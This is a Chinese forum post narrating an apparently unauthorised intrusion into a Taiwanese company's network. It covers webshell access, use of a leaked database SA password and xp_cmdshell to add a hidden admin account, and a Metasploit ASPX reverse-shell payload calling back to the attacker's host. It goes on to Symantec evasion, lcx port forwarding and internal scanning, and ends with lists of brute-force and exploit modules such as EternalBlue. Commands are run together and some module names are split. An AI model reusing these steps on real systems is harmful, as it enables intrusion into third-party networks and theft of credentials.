標題:記一次MSF綜合應用內網滲透記錄

taibeihacker

Moderator

0x01 前言

隨機找的個台灣某越科技集團下的站點作為此次測試目標,只是為了學習下內網滲透和MSF的使用。 13年9月份時拿到了一個子域的Webshell權限後就沒再繼續測試了,當時服務器沒有安裝Symantec賽門鐵克,但第二次去測試時發現已安裝了Symantec,並進行了一些安全加固。
0x02 网站和内网的基本信息搜集基本信息探测:目標站點:http://www.ttes*****.com服務器IP:59.***.**.74(台灣省中華電信)環境平台:ASP.NET服務器系統:Microsoft-IIS/6.0(Wind 2003)网站子域搜集:,表中的這些子域名是前期蒐集到的信息,但沒想到很順利的就拿到了Webshell(Fckeditor),如果主站找不到什麼漏洞時可以通過“旁站”或“子域”下手。
因為本文著重記錄的是MSF工具的使用和難點解決,所以對於怎麼拿到的Webshell就不做過多描述了,在拿到權限後蒐集到的服務器信息如下。
端口開放:25、80、135、445、1025、1521、3389補丁情況:服務器系統打了460+補丁(64位)腳本探測:服務器支持Asp、Aspx拓展名磁盤權限:C、D盤都有可讀可寫權限(大多數)ipconfig /all命令可以看到這台主機名為:websrv4,IP:192.168.0.203,DNS:192.168.3.1
Windows IP Configuration Host Name . . websrv4 Connection-specific DNS Suffix . IP Address. . 192.168.0.203 Subnet Mask . . 255.255.255.0 Default Gateway . . 192.168.0.254 DNS Servers . . 192.168.3.1 168.95.1.1net view /domain命令可以看到存在兩個域和一個工作組:7PV1V1S、TT、WORKGROUP,以及存活主機的對應IP地址如下圖,還可以看到當前已控websrv4主機在工作組中。
TT域主機比較多,另放一個表,域控應該是:192.168.3.1,這裡可根據自己的經驗去分析工作組和各域的組織結構以及各主機所擔任的角色。
1049983-20220119230420557-498404394.jpg

0x03 Webshell提权之遇防御软件

當前這台已控主機的系統為Windows 2003 X64,雖然知道X64可用提權EXP不多,但也得去嘗試下,結果均以失敗告終,Oracle提權沒接觸過,不是很了解,先暫時放一邊。
大家都知道ASPX與MSSQL是最佳搭檔,在web.config配置文件中找到數據庫連接信息,這裡可以看到MSSQL數據庫是運行在內網192.168.0.206這台主機上,屬於站庫分離。
add name='ttes*****_enConnectionString1' connectionString='Data Source=192.168.0.206;Initial Catalog=ttes*****_global;Persist Security Info=True;User ID=sa;Password=tt@12345' providerName='System.Data.SqlClient'/接下來利用大馬的數據庫管理功能連接192.168.0.206這台內網主機的MSSQL,啟用xp_cmdshell組件執行命令加一個管理員用戶,再利用portfwd命令將它的3389端口轉發出來。
1049983-20220119230420983-1701056968.jpg
注:有的同學可能會說直接使用大馬里的端口映射功能就可以了,是可以,但我反正是沒成功過,不知是不是我的姿勢有問題,嗯,肯定是的,還是太菜!
已成功添加test$管理員用戶,接下來就是使用Lcx端口轉發工具了,大家應該都懂的,在203這台主機上傳並執行,但轉發的可是206這台數據庫主機的3389哦。
C:\RECYCLER\lcx.exe -slave 你的外網IP 51 192.168.0.206 3389注意事项:13年9月192.168.0.203這台主機上還沒有防禦軟件,可直接上傳Lcx.exe到任意可讀寫目錄,並且正常執行。但寫文章時發現已經安裝了symantec,Lcx.exe和各種提權EXP在上傳過程中都被攔截,也試了常用的Vbs、Bat、Exe,上傳、下載、修改拓展等方式,只要被檢測為惡意行為的操作都會被攔截。
symantec endpoint protection Process:smc.exe,snac.exe,ccsvchst.exe,rtvscan.exesymantec endpoint protection 防禦軟件的風險日誌默認只保存14天,進入服務器後可自行設置在後期測試中還發現在Fckeditor上傳Webshell時也被攔截了,如常見的:一句話、小馬、大馬等,如下圖,可多測試一些過WAF的馬兒看下是否能繞過?
测试记录:1.內網環境,站庫分離,web.config找到data(192.168.0.206)SA用戶,成功添加管理員用戶;2.Web(192.168.0.203) 、data(192.168.0.206)都安裝了symantec,不能使用Lcx.exe等工具;3.測試了其他轉發工具要么被攔截,要么無法用,而reDuh只能轉發出當前203的,而且速度極慢;4.msfpayload生成的Exe文件也被查殺,服務器是X64,msfencode中也沒有X64編碼器,此路不通;

0x04 绕过防御软件进行端口转发

通過Google搜索在一篇文章中得到思路,使用msfpayload生成一個Aspx反彈腳本,得到meterpreter會話後再用portfwd命令將數據庫服務器192.168.0.206的3389端口轉發出來。
msfpayload windows/x64/meterpreter/reverse_tcp LHOST=113.***.*.238 LPORT=12345 R | msfencode -t aspx -o /media/sf_系統學習/test.aspx
1049983-20220119230421525-1723716798.jpg
msfconsole配置好監聽相關選項,把剛生成的test.aspx反彈腳本上傳到網站的WEB目錄下,然後在瀏覽器中訪問即可得到目標主機會話。
root@box3:~# msfconsolemsf use exploit/multi/handlermsf exploit(handler) set PAYLOAD windows/x64/meterpreter/reverse_tcpmsf exploit(handler) set LHOST 192.168.1.7msf exploit(handler) set LPORT 12345msf exploit(handler) exploit
1049983-20220119230422036-1382544953.jpg
接著我們再用portfwd命令將內網中數據庫服務器192.168.0.206的3389端口給轉發出來,且能夠正常連接它的3389遠程終端了,相關命令參數如下,當時忘了截圖!
meterpreter portfwd add -l 1234 -p 3389 -r 192.168.0.206[*] Local TCP relay created: 0.0.0.0:1234 - 192.168.0.206:3389
Usage: portfwd [-h] [add | delete | list | flush] [args] 添加刪除列表刷新參數
OPTIONS: -h Help banner. //幫助-L opt The local host to listen on (optional). //本地IP地址-l opt The local port to listen on. //本地端口號-r opt The remote host to connect to. //遠程IP地址-p opt The remote port to connect to. //遠程端口號接下來給大家講下在MSF用Socks4a代理連接內網中的3389,在開啟Socks4a代理前必須先得到一個Meterpreter會話,然後直接利用Socks4a模塊開啟代理,默認執行即可。
msf auxiliary(socks4a) use auxiliary/server/socks4amsf auxiliary(socks4a) set SRVHOST 127.0.0.1msf auxiliary(socks4a) run[*] Auxiliary module execution completedmsf auxiliary(socks4a) [*] Starting the socks4a proxy server
1049983-20220119230422671-1154722620.jpg
配置proxychains代理工具時需要在/etc/proxychains.conf文件底部添加一條'socks4127.0.0.1 1080',必須確保與socks4a模塊中的SRVHOST、SRVPORT參數是一致的。
root@box3:~# vi /etc/proxychains.conf開啟Socks4a代理並配置好proxychains代理工具,這時我們就可以在命令終端中直接用proxychains代理msf/nmap/sqlmap/nessus/mysql/sqsh/rdesktop/ftp/ssh等對目標內網其他主機進行掃描測試了。
root@box3:~# proxychains msfconsole root@box3:~# proxychains rdesktop 192.168.0.206注:開啟了Socks4a代理但無法正常使用時有可能是防火牆的問題,這時可以嘗試將SRVHOST參數設置為127.0.0.1,默認為0.0.0.0,端口為1080。切記不要把開代理和代理工具弄混了!
2014-07-28:再次測試發現用原來的方法都彈不回來了,接著嘗試了reDuh_Gui,reverse_tcp 80端口.等方式,都是數據通了且TCP連接狀態為:LISTENING,但就是連接不上或者不給彈回會話。
1049983-20220119230423135-1078225441.jpg
最后突破及后续思路:使用免殺Lcx.exe工具,本地監聽80端口,在進入192.168.0.206數據庫服務器後停用Symantec防禦軟件,然後再運行MSF攻擊載荷上線後再對內網其他主機進行進一步滲透。

0x05 获取C段开放端口及系统版本

當前會話下利用get_local_subnets腳本獲取本地子網網段,將當前會話與Kali本機建立路由表實現跨路由訪問,這樣就能直接使用MSF框架下的模塊對目標內網其他主機進行掃描測試了。
meterpreter run get_local_subnetsLocal subnet: 192.168.0.0/255.255.255.0meterpreter run autoroute -s 192.168.0.0/255.255.255.0[*] Adding a route to 192.168.0.0/.[+] Added route to 192.168.0.0/via 59.***.**.66[*] Use the -p option to list all active routes//1是sessions的會話id,route的時候別弄錯了! msf exploit(handler) route add 192.168.0.0 255.255.255.0 1//查看當前活動的所有路由meterpreter run autoroute -pmsf exploit(handler) route print用MSF下的auxiliary/scanner/portscan/tcp模塊對目標內網C段進行批量端口掃描,這個模塊可以很方便的探測到整個C段主機的端口開放情況,使我們在後期滲透測試中更能游刃有餘。
這裡筆者主要就掃了這幾個常見端口:21/22/445/1433/3306/3389來做演示。其他更多常見端口有:23/25/80/110/135/139/1521/8080/14147/43958等。
msf exploit(handler) use auxiliary/scanner/portscan/tcpmsf auxiliary(tcp) set RHOSTS 192.168.0.1-254msf auxiliary(tcp) set PORTS 21,22,445,1433,3306,3389msf auxiliary(tcp) set THREADS 50msf auxiliary(tcp) exploit
1049983-20220119230423634-212612390.jpg
如果太慢可以選擇適當增加線程,掃描過程中需要等待一段時間,在結束後可以用hosts、services等命令參數來查看掃描結果,前提得連上PostgreSQL數據庫,端口掃描結果如下圖。
1049983-20220119230424147-617421606.jpg
我們還可以利用以下幾個模塊來探測存活主機,系統版本、軟件版本、計算機名、MAC地址、所屬工作組或域等等信息,這裡只列出了一些常用的模塊,圖片來自@OffSec!
auxiliary/scanner/portscan/tcp
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/ftp/ftp_version
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/smb/smb_version
auxiliary/scanner/dns/dns_amp
auxiliary/scanner/http/title
auxiliary/scanner/http/http_version
auxiliary/scanner/telnet/telnet_version
auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/postgres/postgres_version
auxiliary/scanner/netbios/nbname
auxiliary/scanner/netbios/nbname_probe //已刪除
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
[.SNIP.]

0x06 常见服务暴力破解和利用模块

在已拿到權限的主機上蒐集更多的用戶、密碼等信息,包括:第三方、SSH/RDP、各種網站/數據庫、文本或表格中存儲的用戶密碼,然後再對其進行分析看是否存在規律或通用的可能性,如果有我們則可以根據規律來生成一份高效字典使用以下模塊來進行爆破和利用,圖片來自@OffSec!
注:有些模塊也是在重新編輯這篇文章時新加的,既然都重新整理了,何不弄全一些呢?強迫症又犯了!目前我常用到的也有這些,如果師傅們有其他常用的模塊也可以補充下哈。
auxiliary/scanner/ftp/anonymousauxiliary/scanner/ftp/ftp_loginauxiliary/scanner/ssh/ssh_loginauxiliary/scanner/ssh/ssh_login_pubkeyauxiliary/dos/windows/ftp/filezilla_admin_userauxiliary/dos/windows/ftp/filez illa_server_portpost/windows/gather/credentials/flashfxppost/windows/gather/credentials/smartftppost/windows/gather/credentials/wsftp_clientpost/windows/gather/credentials/filezilla_serverpost/windows/gather/c redentials/xshell_xftp_passwordpost/multi/gather/filezilla_client_credauxiliary/scanner/smb/smb_loginauxiliary/admin/smb/upload_fileexploit/windows/smb/psexecexploit/windows/smb/ms08_067_netapiauxiliary/scann er/smb/smb_ms17_010exploit/windows/smb/ms17_010_psexecauxiliary/admin/smb/ms17_010_commandexploit/windows/smb/ms17_010_eternalblueexploit/windows/smb/webexecauxiliary/admin/smb/webexec_commandauxiliary/scanner /smb/impacket/wmiexecauxiliary/admin/mysql/mysql_enumauxiliary/admin/mysql/mysql_sqlauxiliary/scanner/mysql/mysql_loginauxiliary/scanner/mysql/mysql_hashdumpexploit/windows/mysql/mysql_mofexploit/multi/mysql/mysql_udf_payloadauxiliary/admin/mssql/mssql_enumauxiliary/admin/mssql/mssql_execauxiliary/admin/mssql/mssql_sqlauxiliary/admin/mssql/mssql_escalate_dbownerauxiliary/scanner/mssql/mssql_pingauxiliary/scanner/m ssql/mssql_loginauxiliary/scanner/mssql/mssql_hashdumpexploit/windows/mssql/mssql_clr_payloadexploit/windows/mssql/mssql_payloadexploit/windows/mssql/mssql_payload_sqlipost/windows/manage/enable_rdppost/window s/gather/enum_termservpost/windows/gather/credentials/mremoteauxiliary/scanner/rdp/ms12_020_checkauxiliary/dos/windows/rdp/ms12_020_maxchannelidsauxiliary/scanner/rdp/cve_2019_0708_bluekeepexploit/windows/rdp/
 
返回
上方